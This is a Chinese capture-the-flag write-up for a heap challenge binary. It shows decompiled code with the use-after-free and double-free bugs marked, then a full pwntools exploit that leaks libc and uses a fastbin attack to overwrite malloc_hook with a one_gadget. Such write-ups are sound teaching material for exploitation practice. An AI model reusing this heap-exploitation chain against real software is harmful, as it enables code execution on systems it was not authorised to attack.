64位程序 #double free #fastbin attack #use after free
程序逻辑
1 __int64 sub_400D60() 2 { 3 __int64 choice; // rax 4 5 head = 0LL; 6 while ( 1 ) 7 { 8 while ( 1 ) 9 { 10 menu(); 11 choice = read_num(); 12 if ( (_DWORD)choice != 1 ) 13 break; 14 search_word(); 15 } 16 if ( (_DWORD)choice != 2 ) 17 break; 18 index_sentence(); 19 } 20 if ( (_DWORD)choice != 3 ) 21 error("Invalid option"); 22 return choice; 23 }
search_word功能
1 void search_word() 2 { 3 int v0; // ebp 4 char *v1; // r12 5 word_struct *i; // rbx 6 char choice; // [rsp+0h] [rbp-38h] 7 8 puts("Enter the word size:"); 9 v0 = read_num(); 10 if ( (unsigned int)(v0 - 1) > 0xFFFD ) 11 error("Invalid size"); 12 puts("Enter the word:"); 13 v1 = (char *)malloc(v0); 14 read_str(v1, v0, 0); 15 for ( i = head; i; i = i->next ) 16 { 17 if ( *i->sentence_ptr ) 18 { 19 if ( i->size == v0 && !memcmp((const void *)i->content, v1, v0) ) //\x00绕过检测 20 { 21 __printf_chk(1LL, "Found %d: ", (unsigned int)i->len); 22 fwrite(i->sentence_ptr, 1uLL, i->len, stdout); 23 putchar('\n'); 24 puts("Delete this sentence (y/n)?"); 25 read_str(&choice, 2, 1); 26 if ( choice == 'y' ) 27 { 28 memset(i->sentence_ptr, 0, i->len); //内容置0, 29 free(i->sentence_ptr); //没有置NULL,use after free
//没有从sentence链表中去除,double free
30 puts("Deleted!"); 31 } 32 } 33 } 34 } 35 free(v1); 36 }
index_sentence功能
1 int index_sentence() 2 { 3 int v0; // eax 4 __int64 v1; // rbp 5 int len; // er13 6 char *v3; // r12 7 char *v4; // rbx 8 char *str_tail; // rbp 9 word_struct *v6; // rax 10 int word_size; // edx 11 word_struct *v8; // rdx 12 word_struct *v10; // rdx 13 14 puts("Enter the sentence size:"); 15 v0 = read_num(); 16 v1 = (unsigned int)(v0 - 1); 17 len = v0; 18 if ( (unsigned int)v1 > 0xFFFD ) 19 error("Invalid size"); 20 puts("Enter the sentence:"); 21 v3 = (char *)malloc(len); 22 read_str(v3, len, 0); 23 v4 = v3 + 1; 24 str_tail = &v3[v1 + 2]; 25 v6 = (word_struct *)malloc(0x28uLL); 26 word_size = 0; 27 v6->content = (__int64)v3; 28 v6->size = 0; 29 v6->sentence_ptr = v3; 30 v6->len = len; 31 do 32 { 33 while ( *(v4 - 1) != ' ' ) 34 { 35 v6->size = ++word_size; 36 LABEL_4: 37 if ( ++v4 == str_tail ) 38 goto LABEL_8; 39 } 40 if ( word_size ) 41 { 42 v10 = head; 43 head = v6; 44 v6->next = v10; 45 v6 = (word_struct *)malloc(0x28uLL); 46 word_size = 0; 47 v6->content = (__int64)v4; 48 v6->size = 0; 49 v6->sentence_ptr = v3; 50 v6->len = len; 51 goto LABEL_4; 52 } 53 v6->content = (__int64)v4++; 54 } 55 while ( v4 != str_tail ); 56 LABEL_8: 57 if ( word_size ) 58 { 59 v8 = head; 60 head = v6; 61 v6->next = v8; 62 } 63 else 64 { 65 free(v6); 66 } 67 return puts("Added sentence"); 68 }
有如下结构体
1 00000000 word_struct struc ; (sizeof=0x28, mappedto_6) 2 00000000 content dq ? 3 00000008 size dd ? 4 0000000C padding1 dd ? 5 00000010 sentence_ptr dq ? ; offset 6 00000018 len dd ? 7 0000001C padding2 dd ? 8 00000020 next dq ? ; offset 9 00000028 word_struct ends
利用思路
- 利用 unsorted bin 地址泄漏 libc 基地址
- 利用 double free 构造 fastbin 循环链表
- fastbin attachk分配 chunk 到 malloc_hook 附近,修改 malloc_hook 为 one_gadget
expolit
1 from pwn import * 2 p = process("./search") 3 main_arena_offset = 0x3c4b20 4 context.binary='./search' 5 6 def offset_bin_main_arena(idx): 7 word_bytes = context.word_size / 8 8 offset = 4 # lock 9 offset += 4 # flags 10 offset += word_bytes * 10 # offset fastbin 11 offset += word_bytes * 2 # top,last_remainder 12 offset += idx * 2 * word_bytes # idx 13 offset -= word_bytes * 2 # bin overlap 14 return offset 15 16 17 unsortedbin_offset_main_arena = offset_bin_main_arena(0) 18 19 20 def index_sentence(s): 21 p.recvuntil("3: Quit\n") 22 p.sendline('2') 23 p.recvuntil("Enter the sentence size:\n") 24 p.sendline(str(len(s))) 25 p.send(s) 26 27 28 def search_word(word): 29 p.recvuntil("3: Quit\n") 30 p.sendline('1') 31 p.recvuntil("Enter the word size:\n") 32 p.sendline(str(len(word))) 33 p.send(word) 34 35 36 smallbin_sentence = 's' * 0x85 + ' m ' 37 index_sentence(smallbin_sentence) 38 search_word('m') 39 p.recvuntil('Delete this sentence (y/n)?\n') 40 p.sendline('y') 41 search_word('\x00') 42 p.recvuntil('Found ' + str(len(smallbin_sentence)) + ': ') 43 unsortedbin_addr = u64(p.recv(8)) 44 p.recvuntil('Delete this sentence (y/n)?\n') 45 p.sendline('n') 46 main_arena_addr = unsortedbin_addr - unsortedbin_offset_main_arena 47 libc_base = main_arena_addr - main_arena_offset 48 log.success('unsortedbin addr: ' + hex(unsortedbin_addr)) 49 log.success('libc base addr: ' + hex(libc_base)) 50 log.success('main_arena_addr: ' + hex(main_arena_addr)) 51 52 # 2. create cycle fastbin 0x70 size 53 index_sentence('a' * 0x5d + ' d ') #a 54 index_sentence('b' * 0x5d + ' d ') #b 55 index_sentence('c' * 0x5d + ' d ') #c 56 57 # a->b->c->NULL 58 search_word('d') 59 p.recvuntil('Delete this sentence (y/n)?\n') 60 p.sendline('y') 61 p.recvuntil('Delete this sentence (y/n)?\n') 62 p.sendline('y') 63 p.recvuntil('Delete this sentence (y/n)?\n') 64 p.sendline('y') 65 66 # b->a->b->a->... 67 search_word('\x00') 68 p.recvuntil('Delete this sentence (y/n)?\n') 69 p.sendline('y') 70 p.recvuntil('Delete this sentence (y/n)?\n') 71 p.sendline('n') 72 p.recvuntil('Delete this sentence (y/n)?\n') 73 p.sendline('n') 74 75 # 3. fastbin attack to malloc_hook nearby chunk 76 fake_chunk_addr = main_arena_addr - 0x33 77 fake_chunk = p64(fake_chunk_addr).ljust(0x60, 'f') 78 79 index_sentence(fake_chunk) 80 81 index_sentence('a' * 0x60) 82 83 index_sentence('b' * 0x60) 84 85 gdb.attach(p) 86 one_gadget_addr = libc_base + 0xf02a4 87 payload = 'a' * 0x13 + p64(one_gadget_addr) 88 payload = payload.ljust(0x60, 'f') 89 90 index_sentence(payload) 91 92 p.interactive()